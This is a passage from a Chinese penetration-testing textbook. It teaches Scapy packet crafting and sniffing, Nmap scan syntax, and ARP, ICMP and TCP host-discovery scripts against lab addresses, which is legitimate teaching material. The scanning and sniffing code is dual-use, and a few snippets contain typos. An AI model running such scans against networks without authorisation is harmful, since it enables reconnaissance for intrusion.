例如，当你去医院检查身体时，医院会给你一份关于身体各项指标的检查结果，而医生也会告诉你得了什么病或者没有任何病。那么Nmap像是一名医生，它会替你搞定一切，按照它的经验提供结果。而Scapy像是一台体检的设备，它只会告诉你各种检查的结果，如果你自己是一名经验丰富的医生，显然检查的结果要比同行的建议更值得参考。

4.3.2　基本用法

Kali Linux 2中已经集成了Scapy，既可以在Python环境中使用Scapy，也可以直接使用它。在Kali Linux 2中启动一个终端，输入命令“scapy”，就可以启动Scapy环境，如图4-20所示。

图4-20　启动Scapy环境

Scapy提供了和Python一样的交互式命令行。这里需要特别强调的是，虽然本书中Scapy是Python中的一个模块，但是其实Scapy本身就是一个可以运行的工具，它自己具备一个独立的运行环境，因而可以不在Python环境下运行。本书中的部分实例（例如本节中的）就是在这个环境下运行的，注意和Python的运行环境区分开。

1．Scapy的基本操作

首先通过几个实例来演示一下Scapy的用法。在Scapy中每一个协议就是一个类。只需要实例化一个协议类，就可以创建一个该协议的数据包。例如，如果创建一个IP类型的数据包，就可以使用如下命令：

     >>>ip=IP()

和Python语法相同，输入变量的名称，就可以查看这个变量的内容，现在的变量ip就是一个IP数据包，如图4-21所示。

图4-21　IP数据包

IP数据包最重要的属性就是源地址和目的地址，这两个属性可以使用src和dst来设置，例如构造一个发往“192.168.1.101”的IP数据包，就可以使用如下命令：

     >>>ip=IP（dst="192.168.1.101"）

执行过程如图4-22所示。

图4-22　查看IP数据包的格式

这个目标dst的值可以是一个IP地址，也可以是一个IP范围，例如192.168.1.0/24，这时产生的不是1个数据包，而是256个数据包。执行过程如图4-23所示。

图4-23　产生192.168.1.0/24范围内为目的地址的数据包

如果查看其中的每一个数据包，可以使用[p for p in ip]，如图4-24所示。

图4-24　查看其中的每一个数据包

Scapy采用分层的形式来构造数据包，通常最下面的协议为Ether，然后是IP，再之后是TCP或者UDP。IP()函数无法用来构造ARP请求和应答数据包，所以这时可以使用Ether()函数，这个函数可以设置发送方和接收方的MAC地址。接下来产生一个广播数据包，执行的命令如下：

     >>>Ether(dst="ff:ff:ff:ff:ff:ff")

执行结果如图4-25所示。

图4-25　产生一个广播数据包

Scapy中的分层通过符号“/”实现，一个数据包是由多层协议组合而成的。这些协议之间可以使用“/”分开，按照协议由底而上的顺序从左向右排列，例如可以使用Ether()/IP()/TCP()来完成一个TCP数据包。图4-26给出了一个实例。

图4-26　产生一个TCP数据包

如果构造一个HTTP数据包，也可以使用以下方式：

     >>>IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"

构造结果如图4-27所示。

图4-27　产生一个HTTP数据包

Scapy中使用频率最高的类要数Ether、IP、TCP和UDP了，但是这些类都具有哪些属性呢？Ether类中显然需要有源地址、目的地址和类型。IP类的属性则复杂许多，除了最重要的源地址和目的地址之外还有版本、长度、协议类型、校验和等。TCP类中需要源端口和目的端口。这里可以使用ls()函数来查看一个类所拥有的属性。

例如，使用ls(Ether())来查看Ether类的属性，如图4-28所示。

图4-28　查看Ether的属性

也可以使用ls(IP())来查看IP类的属性，如图4-29所示。

图4-29　查看IP类的属性

可以设置这里面对应的属性。例如将ttl的值设置为32，就可以使用如下方式：

     >>>IP(src="192.168.1.1",dst="192.168.1.101",ttl=32)

执行结果如图4-30所示。

图4-30　将ttl的值设置为32

2．Scapy模块中的函数

除了这些对应着协议的类及其属性外，还需要一些可以完成各种功能的函数。需要注意的是，刚才使用IP()的作用是产生一个IP数据包，但是并没有将其发送出去。现在看看如何将产生的报文发送出去。Scapy中提供了多个用来完成发送数据包的函数，首先看一下send()和sendp()。这两个函数的区别是：send()工作在第三层，而sendp()工作在第二层。简单地说，send()是用来发送IP数据包的，而sendp()是用来发送Ether数据包的。

例如，构造一个目的地址为192.168.1.101的ICMP数据包，并将其发送出去，可以使用如下语句：

     >>>send(IP(dst="192.168.1.101")/ICMP())

执行结果如图4-31所示。

图4-31　使用send()发送一个数据包

注意，如果这个数据包发送成功，下方会显示“Sent 1 packets.”。

构造一个MAC地址为ff:ff:ff:ff:ff:ff的数据包，并将其发送出去，可以使用如下语句：

     >>>sendp(Ether(dst="ff:ff:ff:ff:ff:ff"))

执行结果如图4-32所示。

图4-32　发送成功

需要注意的是，这两个函数的特点是只发不收，也就是说，只会将数据包发送出去，但是没有能力处理该数据包的响应包。

如果希望发送一个内容是随机填充的数据包，而且要保证这个数据包的正确性，那么可以使用fuzz()函数。例如可以使用如下命令创建一个发往192.168.1.101的TCP数据包：

     >>>IP(dst='192.168.1.101')/fuzz(TCP())

执行结果如图4-33所示。

图4-33　创建一个发往192.168.1.101的TCP数据包

在网络的各种应用中，需要做的不仅仅是将创建好的数据包发送出去，而且需要接收这些数据包的应答数据包，这一点在网络扫描中尤为重要。Scapy提供了3个用来发送和接收应答数据包的函数，分别是sr()、sr1()和srp()，其中，sr()和sr1()主要用于第三层，例如IP和ARP等；而srp用于第二层。

这里通过向192.168.1.101发送一个ICMP数据包来比较sr()和send()的区别。

     >>>sr(IP(dst="192.168.1.101")/ICMP())

执行结果如图4-34所示。

图4-34　使用sr()发送数据包

当产生的数据包发送之后，Scapy就会监听接收到的数据包，并筛选出对应的应答数据包，并显示在下面。Reveived表示收到的数据包个数，answers表示对应的应答数据包。

sr()函数是Scapy的核心，它的返回值是两个列表：第一个列表是收到应答的包和对应的应答；第二个列表是未收到应答的包。所以可以使用两个列表来保存sr()的返回值，执行结果如图4-35所示。

图4-35　sr()函数的返回值

这里面使用ans和unans来保存sr()的返回值，因为发出去的是一个ICMP的请求数据包，而且也收到了一个应答包，所以这个发送的数据包和收到的应答包都被保存到ans列表中，使用ans.summary()可以查看两个数据包的内容，而unans列表为空。

sr1()函数跟sr()函数作用基本一样，但是只返回一个应答的包。只需要使用一个列表就可以保存这个函数的返回值。例如使用p来保存sr1(IP(dst="192.168.1.102")/ICMP())的返回值，执行结果如图4-36所示。

图4-36　sr1()的返回值

利用sr1()函数来测试目标的某个端口是否开放，采用半开扫描（SYN）的办法。

     >>>sr1(IP(dst="192.168.1.102")/TCP(dport=80,flags="S"))

执行结果如图4-37所示。

图4-37　测试目标的某个端口是否开放

从图中的值可以看出来，192.168.1.1回应了发出的设置了SYN标志位的TCP数据包，这表明这台主机的80端口是开放的。

另外一个十分重要的函数是sniff()，如果你使用过Tcpdump，那么对这个函数不会感到陌生。通过这个函数就可以在程序中捕获经过本机网卡的数据包。执行结果如图4-38所示。

图4-38　使用sniff()捕获网络中的数据包

使用sniff()开始监听，但是捕获的数据包不会即时显示出来，只有使用Ctrl+C组合键停止监听时，才会显示捕获到的数据包。例如上面的例子中捕获到12个ICMP类型的数据包。

这个函数最强大的地方在于可以使用参数filter过滤数据包，例如指定只捕获与192.168.1.102有关的数据包，就可以使用“host 192.168.1.102”：

     >>>sniff(filter="host 192.168.1.102")

同样也可以使用filter来过滤指定协议，例如ICMP类型的数据包：

     >>>sniff(filter="icmp")

如果要同时满足多个条件可以使用“and”“or”等关系运算符来表达：

     >>>sniff(filter="host 192.168.1.102 and icmp")

另外两个很重要的参数是iface和count。iface可以用来指定所要进行监听的网卡，例如指定eth1作为监听网卡，就可以使用：

     >>> sniff(iface="eth1"）

而count则用来指定监听到数据包的数量，达到指定的数量就会停止监听。例如只希望监听到3个数据包就停止：

     >>> sniff(count=3）

现在设计一个综合性的监听器，它会在网卡eth0上监听源地址或者目的地址为192.168.1.102的ICMP数据包，当收到3个这样的数据包之后，就会停止监听。首先在Scapy中创建如下的监听器：

     >>> sniff(filter="icmp and host 192.168.1.102"，count=3，iface="eth0")

正常时候是不会有去往或者来自192.168.1.102的ICMP数据包的，所以这时候可以打开一个新的终端，然后执行命令“ping 192.168.1.102”，执行结果如图4-39所示。

图4-39　执行命令“ping 192.168.1.102”

然后在Scapy中使用Ctrl+C快捷键结束捕获，这时可以看到已经捕获到3个数据包，如图4-40所示。

图4-40　使用sniff()捕获网络中的ICMP数据包

如果查看这3个数据包内容，可以使用“_”，在Scapy中这个符号表示上一条语句执行的结果，例如查看刚刚使用sniff捕获的数据包，就可以用“_”表示：

     >>>a=_
     >>>a.nsummary()

执行结果如图4-41所示。

刚刚使用过的函数pkt.summary()用来以摘要的形式显示pkt的内容，这个摘要的长度为一行：

     >>> p=IP(dst="www.baidu.com")
     >>>p.summary()
     "192.168.169.130 >Net('www.baidu.com') hopopt"

函数pkt.nsummary()的作用与pkt.summary()相同，只是要操作的对象是多个数据包。

图4-41　使用a.nsummary()查看捕获到的数据包

3．Scapy模块的常用简单实例

由于Scapy功能极为强大，可以构造目前各种常见协议类型的数据包，因此几乎可以使用这个模块完成各种任务。下面先来查看一些简单的应用。

使用Scapy实现一次ACK类型的端口扫描。例如，针对192.168.1.102的21、23、135、443、445这5个端口是否被屏蔽，注意是屏蔽不是关闭，采用ACK扫描模式，可以构造如下命令：

     >>>ans,unans = sr(IP(dst="192.168.1.102")/TCP(dport=[21,23,135,443,445],flags="A"))

执行结果如图4-42所示。

图4-42　一次ACK类型的端口扫描

在正常情况下，一个开放端口会回应ack数据包，而关闭的端口会回应rst数据包。在网络中，一些网络安全设备会过滤一部分端口，这些端口不会响应来自外界的数据包，一切发往这些端口的数据包都如同石沉大海。注意，这些端口的状态并不是开放或者关闭，而是被屏蔽的，这是一种网络安全管理经常会用到的方法。

向目标发送5个标志位置为“A”的TCP数据包。按照TCP三次握手的规则，如果目标端口没有被过滤，发出的数据包就会得到回应，否则没有回应。另外，根据Scapy的设计，ans列表中的数据包就是得到回应的数据包，而unans中的则是没有得到回应的数据包，只需要分两次来读取这两个列表就可以得到端口的过滤结果。

首先来查看未被过滤的端口。

也可以用类似的方法来查看被过滤的端口。

     >>>for s in unans:
              ... print（str(s[TCP].dport) + "is filtered"）

接下来实现一个查看端口是否被屏蔽的简单程序。首先导入Scapy模块中的函数。

     >>>froms capy.all import IP,TCP,sr

其中，IP()和TCP()用于产生所需要的数据包，sr()函数用于发送，然后发送构造好的数据包。在Python 3交互式命令行中执行这个程序的结果如图4-43所示。

图4-43　一个查看端口是否被屏蔽的简单程序

下面使用Scapy强大的包处理功能来设计一个端口是否开放的扫描器。这里还是要注意和前面例子的区别，如果一个端口处于被屏蔽状态，那么它将不会产生任何响应报文；如果一个端口是开放状态，那么它在收到syn数据包之后会回应一个ack数据包；反之，如果一个端口是关闭状态，那么它在收到syn数据包之后会回应一个rst数据包。

首先导入需要使用的模块文件，这次使用IP()、TCP()来创建数据包，使用fuzz()来填充数据包，使用sr()来发送数据包。本书中的部分例子没有使用fuzz()来填充数据包，这样做有可能导致目标端口不响应，从而无法对目标端口的状态进行判断。

     from scapy.all import fuzz，TCP，IP，sr

接下来产生一个目标为“192.168.1.1”的80端口的syn数据包，将标志位设置为“S”：

     ans,unans = sr(IP(dst="192.168.1.1")/fuzz(TCP(dport=80,flags="S")))

接下来使用循环来查看。如果r[TCP].flags==18，则表示返回数据包Flags的值为0x012(SYN,ACK)，目标端口为开放状态；如果r[TCP].flags==20，则表示返回数据包Flags的值为0x014(RST,ACK)，目标端口为关闭状态。

接下来执行这个程序，执行结果如图4-44所示。

图4-44　一个简单的端口扫描器

4.4　小结

本章介绍了几个网络安全渗透测试中所需要的模块。第5章将会开始网络安全渗透测试的第一个步骤：信息收集。

第5章　信息收集

这里的“信息”指的是目标网络、服务器、应用程序的所有信息。渗透测试人员使用资源尽可能地获取测试目标的相关信息。如果现在采用黑盒测试方式，那么这个阶段可以说是整个渗透测试过程中最为重要的一个阶段。“知己知彼，百战不殆”正说明了信息收集的重要性。

网络安全渗透测试不是一个单纯的学科，而是由多个学科交叉而成的，其中一个重要的组成部分正是情报学。在网络安全渗透测试中，经验丰富的专家大都会在信息收集阶段花费最多的时间。如果想对一个目标进行完整测试，那么我们知道的应该比用户自己还要多得多。新手可能会有一个疑问，如何才能获得目标的信息呢？获得信息的过程就称为信息收集。

通过本章的学习之后，读者将掌握使用Python编写程序实现如下功能。

□　目标主机是否在线。

□　目标主机所在网络的结构。

□　目标主机上开放的端口，例如80端口、135端口、443端口等。

□　目标主机所使用的操作系统，例如Windows 7、Windows 10、Linux 2.6.18、Android 4.1.2等。

□　目标主机上所运行的服务以及版本，例如Apache httpd 2.2.14、OpenSSH 5.3p1等。

5.1　信息收集基础

信息收集获得信息的方法可以分成两种：被动扫描和主动扫描。

被动扫描主要指的是在目标无法察觉的情况进行的信息收集，例如想了解一个远在天边的人，你会怎么做呢？显然我们可以选择在搜索引擎去搜索这个名字。其实这就是一次对目标的被动扫描。Kali Linux 2中提供了很多这样优秀的被动扫描工具，例如Maltego、Recon-NG和Shodan。

相比被动扫描，主动扫描的范围要小得多。主动扫描一般都是针对目标发送特制的数据包，然后根据目标的反应来获得一些信息。这种扫描方式的技术性比较强，通常会使用专业的扫描工具来对目标进行扫描。扫描之后将会获得的信息包括目标网络的结构、目标网络所使用设备的类型、目标主机上运行的操作系统、目标主机上所开放的端口、目标主机上所提供的服务、目标主机上所运行的应用程序等。本章将主要围绕主动扫描部分进行讲解。在本章中我们会大量使用nmap库，所以在开始Python编程之前先来简单地介绍Nmap工具的使用，这个工具的使用十分简单，只需要在终端中输入nmap和参数即可，如图5-1所示。

图5-1　在Kali中启动Nmap

选择扫描目标的nmap语法如下所示。

□　扫描指定IP主机：nmap 192.168.169.133，如图5-2所示。

□　扫描指定域名主机：nmap www.nmap.com。

□　扫描指定范围主机：nmap 192.168.169.1-20。

□　扫描一个子网主机：nmap 192.168.169.0/24。

图5-2　使用Nmap扫描指定IP主机

对目标的端口进行扫描的nmap语法如下所示。

□　扫描一个主机的特定端口：nmap -p 22 192.168. 169.1。

□　扫描指定范围端口：nmap -p 1-80 192.168. 169.1。

□　扫描100个最为常用的端口：nmap -F 192.168. 169.1。

对目标端口使用技术进行扫描的nmap语法如下所示。

□　使用TCP全开扫描：nmap -sT 192.168. 169.1。

□　使用TCP半开扫描：nmap -sS 192.168. 169.1。

□　使用UDP扫描：nmap -sU -p 123,161,162 192.168. 169.1。

对目标的操作系统和运行服务进行扫描的nmap语法如下所示。

□　扫描目标主机上运行的操作系统：nmap -O 192.168.169.1。

□　扫描目标主机上运行的服务类型：nmap -sV 192.168.169.1。

5.2　主机状态扫描

处于运行状态且网络功能正常的主机被称为活跃主机，反之称为非活跃主机。在对一台主机进行渗透测试的时候需要明确这台主机的状态，这一点在对大型网络进行测试时尤为重要。试想一下，如果一台主机根本没有连上网络，那么对其进行网络安全渗透测试还有什么意义呢？目前很多渗透测试工具都提供了对目标状态扫描的功能，接下来介绍对主机的状态进行扫描的原理以及使用Python语言的具体实现。

如今的互联网结构极其复杂，各种不同硬件架构、运行着各种操作系统的设备却令人惊讶地连接在一起。这一切都要归功于网络协议。网络协议通常是按照不同层次开发出来的，每个不同层次的协议负责的通信功能也各不相同，作为计算机网络中进行数据交换而建立的规则、标准或约定的集合，这些协议“各尽其能，各司其职”。目前的分层模型有OSI和TCP/IP两种。本书中涉及的模型都采用了TCP/IP分层结构，因为这个结构更简洁、实用。

这些协议用生活中的例子来解释会更容易理解。为什么有人敲门，屋里的人就会有回应呢？因为这是一个生活中习惯了的约定。而现在讲述的协议恰恰就如同这个约定一样。这些协议明确规定了一台计算机收到来自另一台计算机的特定格式数据包后应该如何处理。例如，这里有一个TEST（这个协议目前并不存在，仅用于举例，假设A主机和B主机都遵守这个协议），它规定了如果一台主机A收到来自于B的格式为“请求”的数据包，那么它必须在一定时间内向主机B再发送一个格式为“回应”的数据包（实际上这个过程在很多真实的网络协议中都存在）。

如果现在想知道主机A是否为活跃主机，你知道该怎么办了吧。只需要在主机A上构造一个“请求”，然后将它发送给主机B。如果主机B是活跃主机，那么主机A会收到来自主机B的“回应”数据包，否则什么都收不到。

实际操作中，可以利用哪些真实的协议呢？哪些协议做出了如同前面所述的规定呢？所有的协议规范都可以参考Request For Comments（RFC）文档，这是一系列以编号排序的文件。基本的互联网通信协议在RFC文件中都有详细说明。

5.2.1　基于ARP的活跃主机发现技术

ARP的中文名字是“地址解析协议”，主要用在以太网中。这里有一点需要明确的是，所有的主机在互联网中通信的时候使用的是IP地址，而在以太网中通信时使用的却是硬件地址（也就是常说的MAC地址）。

但是日常使用的程序却无须考虑这一点，当程序进行通信的时候，无论通信的目的地位于遥远的美国，还是近在咫尺，标识身份的都是IP地址。经常进行软件开发的人也会知道绝大部分的网络应用都没有考虑过硬件地址。

那么问题来了，既然在以太网中无法使用IP地址通信，那么这些没有考虑过硬件地址的网络应用又是如何工作的呢？是只能应用于互联网中，还是有别的什么办法？

几乎所有的网络应用都能在以太网中正常工作，这其实就是依靠了刚刚提到的ARP，这个协议用来在只知道IP地址的情况下发现硬件地址。例如我们所在的主机IP地址为192.168.1.1，而通信的目标IP地址为192.168.1.2，同一网络中还有192.168.1.3和192.168.1.4。但是这4台主机位于同一以太网中，使用同一台交换机进行通信。但是，通信时使用的是硬件地址，这个以太网的结构如图5-3所示。

图5-3　以太网的结构

当所使用的主机只知道目标的主机地址却不知道目标的硬件地址时，就需要使用以太广播包给网络上的每一台主机发送ARP请求。请求的格式如下：

     协议类型：ARP Request（ARP请求）
     源主机IP地址：192.168.1.1
     目标主机IP地址：192.168.1.2
     源主机硬件地址:11:11:11:11:11:11
     目标主机Mac地址：ff:ff:ff:ff:ff:ff

网络中的其余3台主机在收到这个ARP请求数据包之后，会将自己的IP地址与包中头部的目标主机IP地址相比较，如果不匹配，则不会做出回应。例如，192.168.1.3接收到数据包后使用本身IP地址和192.168.1.2进行比较，发现不同，不做出回应。如果匹配，例如192.168.1.2收到这个请求，这个设备就会给发送IP请求的设备发送一个ARP回应数据包。回应的格式如下：

     协议类型：ARP Reply（ARP回应）
     源主机IP地址：192.168.1.2
     目标主机IP地址：192.168.1.1
     源主机硬件地址:22:22:22:22:22:22
     目标主机Mac地址：11:11:11:11:11:11

这个回应数据包并不是广播包，当我们的主机收到这个回应之后，就会把结果放在ARP缓存表中。缓存表的格式为：

     IP地址       硬件地址           类型
     192.168.1.2  22:22:22:22:22:22  动态

以后当主机再需要和192.168.1.2通信的时候，只需要查询这个ARP缓存表，找到对应的表项，查询到硬件地址以后按照这个地址发送出去即可。

当目标主机与我们处于同一以太网的时候，利用ARP对其进行扫描是一个最好的选择，因为这种扫描方式最快，也最为精准。没有任何的安全措施会阻止这种扫描方式。接下来以图的形式来演示一下这个扫描过程。

第一步：向目标主机发送一个ARP请求，如图5-4所示。

图5-4　向目标主机发送一个ARP请求

第二步：如果目标主机处于活跃状态，它一定会返回一个ARP回应，如图5-5所示。

第三步：如果目标主机处于非活跃状态，它不会给出任何回应，如图5-6所示。

现在来编写一个利用ARP实现的活跃主机扫描程序。这个程序的实现方式有多种，首先借助Scapy库完成。核心思想是产生一个ARP请求。首先查看Scapy库中ARP类型数据包中需要的参数，如图5-7所示。

图5-5　目标主机处于活跃状态的情况

图5-6　目标主机处于非活跃状态的情况

图5-7　Scapy库中ARP数据包的参数

可以看到，这里面的大多数参数都有默认值，其中hwsrc和psrc分别是源硬件地址和源IP地址，这两个地址不用设置，发送的时候会自动填写本机的IP地址。唯一需要设置的是目的IP地址pdst，将这个地址设置为目标即可。

另外发送的是广播数据包，所以需要在Ether层进行设置。首先查看一下Ether数据包的参数，如图5-8所示。

图5-8　Scapy库中Ether数据包的参数

这一层只有3个参数，dst是目的硬件地址，src是源硬件地址，src会自动设置为本机地址。所以只需要将dst设置为ff:ff:ff:ff:ff:ff即可将数据包发到网络中的各台主机上。下面构造一个扫描192.168.1.103的ARP请求数据包并将其发送出去：

     >>>ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0"),timeout=2)

这个命令将会产生一个图5-9所示的数据包。

图5-9　Scapy命令所产生的ARP数据包

按照之前的思路，需要对这个请求的回应进行监听，如果得到回应，那么证明目标是活跃的，并输出这台主机的硬件地址：

     >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%"))

如果收到数据包，那么这个过程发出一个数据包“Who has 192.168.1.103？Tell 192.168.1.1”，并收到这个数据包的回应“192.168.1.103 is at 4c:cc:6a:62:4e:29”，这表明目标主机在线，如图5-10所示。

图5-10　发出ARP请求并得到回应

如果发出这个数据包，但是没有收到这个数据包的回应，则说明目标主机不活跃的，如图5-11所示。

图5-11　发出ARP请求没有得到回应

前面在命令行中已完成这个扫描过程，现在编写一个完整的程序。完整的程序内容如下所示：

     from scapy.all import srp,Ether,ARP
     dst="192.168.1.1"
     ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dst),timeout=2)
     for s,r in ans:
         print("Target is alive")
         print(r.sprintf("%Ether.src% - %ARP.psrc%"))

完成这个程序，并以arpPing.py为名保存。这个程序需要用到参数dst="192.168.1.1"。指定完参数后，开始执行程序，在PyCharm下方会显示执行的结果，如图5-12所示。

图5-12　arpPing.py执行的结果

除了使用Scapy库来完成ARP扫描之外，也可以使用更为简单的nmap库。这种方法更为简单高效，但是对于初学者来说可能无法了解其中具体的实现，所以希望初学者能掌握这两种方法。在Python中使用nmap库其实就是调用了Nmap工具，这个库的核心类为PortScanner。这个类提供了一个函数scan()，使用方法与Nmap中使用命令行一样：-PR表示使用ARP（最新版的Nmap中去掉了该参数，改为默认启用ARP）；-sn表示只测试该主机的状态（这里是为了加快扫描速度）。在Nmap中使用ARP进行扫描的语法格式如下所示：

     Nmap  -PR  -sn  [目标IP]

也可以使用nmap库来实现对目标进行的ARP扫描，编写的程序如下所示：

     import nmap
     target="192.168.1.1"
     nm = nmap.PortScanner()
     nm.scan(target, arguments='-sn -PR')
     for host in nm.all_hosts():
         print('----------------------------------------------------')
         print('Host : %s (%s)' % (host, nm[host].hostname()))
         print('State : %s' % nm[host].state())

将这个程序命名为arpPing2.py并保存。参数target的值为“192.168.1.1”，执行结果如图5-13所示。

图5-13　使用arpPing2.py扫描192.168.1.1的结果

这个程序也可以用来扫描一定范围内的主机，例如192.168.1.0/24，只需要将参数target的值修改为“192.168.1.0/24”，然后执行，执行结果如图5-14所示。

图5-14　使用arpPing2.py扫描192.168.169.0/24的结果

基于ARP的扫描是一种非常高效的方法，但是它的局限性也很明显，只能够扫描同一以太网内的主机。例如主机的IP地址为192.168.1.130，子网掩码为255.255.255.0，那么使用ARP扫描的范围只能是192.168.1.1~255。如果目标的地址为192.168.169.100，这种方法就不适用了。

5.2.2　基于ICMP的活跃主机发现技术

ICMP也位于TCP/IP协议族中的网络层，它的目的是用于在IP主机、路由器之间传递控制消息。没有任何系统是完美的，互联网也一样。所以互联网也经常会出现各种错误，为了发现和处理这些错误，ICMP应运而生。同样，这种协议也可以用来实现活跃主机发现。有了之前ARP主机发现技术的经验之后，再来了解一下ICMP是如何进行活跃主机发现的。相比起ARP简单明了的工作模式，ICMP复杂一些，但是用来扫描活跃主机的原理却是一样的。

ICMP中提供了多种报文，这些报文又可以分成两个大类：查询报文和差错报文。其中，查询报文是由一个请求和一个应答构成的。这一点和之前讲过的TEST一样，只需要向目标发送一个请求数据包，如果收到来自目标的回应，就可以判断目标是活跃主机，否则可以判断目标是非活跃主机，这与ARP扫描原理是相同的。

但是与ARP扫描不同的地方在于ICMP查询报文有4种，分别是响应请求或应答、时间戳请求或应答、地址掩码请求或应答、路由器询问或应答。但是在实际应用中，后面的3种成功率很低，所以本节中主要讲解第一种ICMP查询报文。

ping命令就是响应请求或应答的一种应用。我们经常会使用这个命令来测试本地主机与目标主机之间的连通性，例如主机IP为192.168.1.1，而通信的目标IP地址为192.168.1.2。如果要判断192.168.1.2是否为活跃主机，就需要向其发送一个ICMP请求，请求的格式如下：

     IP层内容
     源IP地址：192.168.1.1
     目的IP地址：192.168.1.2
     ICMP 层内容
     Type：8（表示请求）

如果192.168.1.2主机处于活跃状态，它在收到这个请求之后，就会给出一个回应，回应的格式如下：

     IP层内容
     源IP地址：192.168.1.2
     目的IP地址：192.168.1.1
     ICMP 层内容
     Type：0（表示应答）

接下来以图的形式来演示这个扫描过程。

第一步：向目标主机发送一个ICMP请求，如图5-15所示。

图5-15　向目标主机发送一个ICMP请求

第二步：如果目标主机处于活跃状态，正常情况下它会回应一个ICMP回应，如图5-16所示。

图5-16　目标主机处于活跃状态时会回应

需要注意的是，由于现在很多网络安全设备或者机制会屏蔽ICMP，在这种情况下即使目标主机处于活跃状态也收不到任何回应。

第三步：如果目标主机处于非活跃状态，它不会给出任何回应，如图5-17所示。

也就是说，只要收到了ICMP回应，就可以判断该主机处于活跃状态。

现在编写一个利用ICMP实现的活跃主机扫描程序。这个程序的实现方式有多种，首先借助Scapy库完成。核心思想是产生一个ICMP请求。先来查看Scapy库中ICMP类型数据包中需要的参数，如图5-18所示。

图5-17　目标主机处于非活跃状态时将不会回应

图5-18　Scapy库中ICMP数据包的参数

这里面的大多数参数都不需要设置，唯一需要注意的是type，这个参数的默认值已经是8，无须对其进行修改。

另外，因为ICMP并没有目标地址和源地址，所以需要在IP中进行设置。首先查看一下Scapy库中IP类型数据包中需要的参数，如图5-19所示。

图5-19　Scapy库中IP数据包的参数

这一层和地址有关的参数有两个：dst是目的IP地址；src是源IP地址。

其中，src会自动设置为本机地址，所以只需要将dst设置为“192.168.1.2”即可将数据包发到目标主机上。接下来构造一个扫描192.168.1.2的ICMP请求数据包并将其发送出去：

     >>> ans,unans=sr(IP(dst="192.168.1.2")/ICMP())

按照之前的思路，需要对这个请求的回应进行监听，如果得到了回应，就证明目标主机是活跃的，并输出这台主机的IP地址：

     >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive"))

如果收到数据包，整个过程如下：发出一个Echo（ping）request数据包，并收到这个数据包的回应Echo（ping）reply，这表明目标主机是活跃的，如图5-20所示。

图5-20　发出ICMP请求并得到回应

如果发出数据包，但是没有收到数据包回应，则说明目标主机不是活跃的，如图5-21所示。

图5-21　发出ICMP请求并没有得到回应

前面在命令行中已完成这个扫描过程，现在来编写一个完整的ICMP扫描程序。完整的程序内容如下所示：

     from scapy.all import sr,IP,ICMP
     target="192.168.1.8"
     ans,unans=sr((IP(dst= target)/ICMP()),timeout=2)
     for snd,rcv in ans:
         print(rcv.sprintf("%IP.src% is alive"))

在Aptana Studio 3中完成这个程序，将这个程序命名为icmpPing.py并保存。这个程序需要一个参数，可以在Run Configurations中设置本次要扫描的目标地址192.168.1.1为运行的参数。执行结果如图5-22所示。

图5-22　icmpPing.py执行的结果

也可以使用更为简单的nmap库来实现这个功能。在Nmap中：-PE表示使用ICMP协议；-sn表示只测试该主机的状态（这里是为了加快扫描速度）。在Nmap中使用ICMP进行扫描的语法格式为：

     Nmap  -PE  -sn  [目标IP]

现在使用nmap库来实现对目标进行的ICMP扫描，程序如下所示：

     import nmap
     target="192.168.1.1"
     nm = nmap.PortScanner()
     nm.scan(target, arguments='-PE  -sn ')
     for host in nm.all_hosts():
         print('----------------------------------------------------')
         print('Host : %s (%s)' % (host, nm[host].hostname()))
         print('State : %s' % nm[host].state())

完成这个程序，将其以icmpPing2.py为名保存，这个程序中指定了“192.168.1.1”参数。执行结果如图5-23所示。

图5-23　使用icmpPing2.py扫描192.168.1.1的结果

这个程序也可以用来扫描一定范围内的主机，例如192.168.1.0/24，只需要为这个程序指定参数，然后执行。图5-24中给出了执行结果。

图5-24　使用icmpPing2.py扫描192.168.1.0/24的结果

基于ICMP的扫描是一种很常见的方法，相比起基于ARP的扫描只能应用于以太网环境中的特点，这种方法的应用范围要广泛得多。无论是以太网还是互联网都可以使用这种方法。但是，基于ICMP的扫描的缺陷也很明显，由于大量网络设备，例如路由器、防火墙等对ICMP进行了屏蔽，这样就会导致扫描结果不准确。

5.2.3　基于TCP的活跃主机发现技术

TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议，由IETF的RFC 793定义。TCP的特点是使用三次握手协议建立连接，当主动方发出SYN连接请求后，等待对方回答TCP的三次握手“SYN+ACK”，并最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误的连接，TCP三次握手的过程如下。

第一步：客户机发送SYN（SEQ=x）数据包给服务器，进入SYN_SEND状态，如图5-25所示。

图5-25　TCP三次握手中的第1次握手

第二步：服务器收到SYN数据包，回应一个SYN（SEQ=y）ACK(ACK=x+1）数据包，进入SYN_RECV状态，如图5-26所示。

图5-26　TCP三次握手中的第2次握手

第三步：客户机收到服务器的SYN数据包，回应一个ACK(ACK=y+1）数据包，进入Established状态。三次握手完成，客户机和服务器成功建立连接，可以开始传输数据，如图5-27所示。

图5-27　TCP三次握手中的第3次握手

TCP和ARP、ICMP等并不处于同一层，而是位于它们的上一层——传输层。在这一层中出现了“端口”的概念。“端口”是英文port的意译，可以认为是设备与外界通信交流的出口。端口可分为虚拟端口和物理端口，这里使用的是虚拟端口，指的是计算机内部或交换机路由器内的端口，例如计算机中的80端口、21端口、23端口等。这些端口可以被不同的服务所使用以进行各种通信，例如Web服务、FTP服务、SMTP服务等，这些服务都是通过“IP地址+端口号”来区分的。

如果检测到一台主机的某个端口有回应，同样可以判断这台主机是活跃主机。需要注意的是，如果一台主机处于活跃状态，那么它的端口即使是关闭的，在收到请求时，也会给出一个回应，只不过并不是一个“SYN+ACK”数据包，而是一个拒绝连接的RST数据包。

这样在检测目标主机是否为活跃的时候，可以向目标的80端口发送一个SYN数据包，之后可能出现如下三种情况。

第一种：主机发送的SYN数据包到达目标的80端口，但是目标端口关闭，目标主机会发回一个RST数据包，这个过程如图5-28所示。

图5-28　目标主机活跃但是端口关闭

第二种：主机发送的SYN数据包到达目标的80端口，而且目标端口开放，目标主机发回一个“SYN+ACK”数据包，这个过程如图5-29所示。

图5-29　目标主机活跃而且端口开放

第三种：主机发送的SYN数据包到达不了目标，这时不会收到任何回应，这个过程如图5-30所示。

图5-30　目标主机非活跃

也就是说，只要收到TCP回应，就可以判断该主机处于活跃状态。

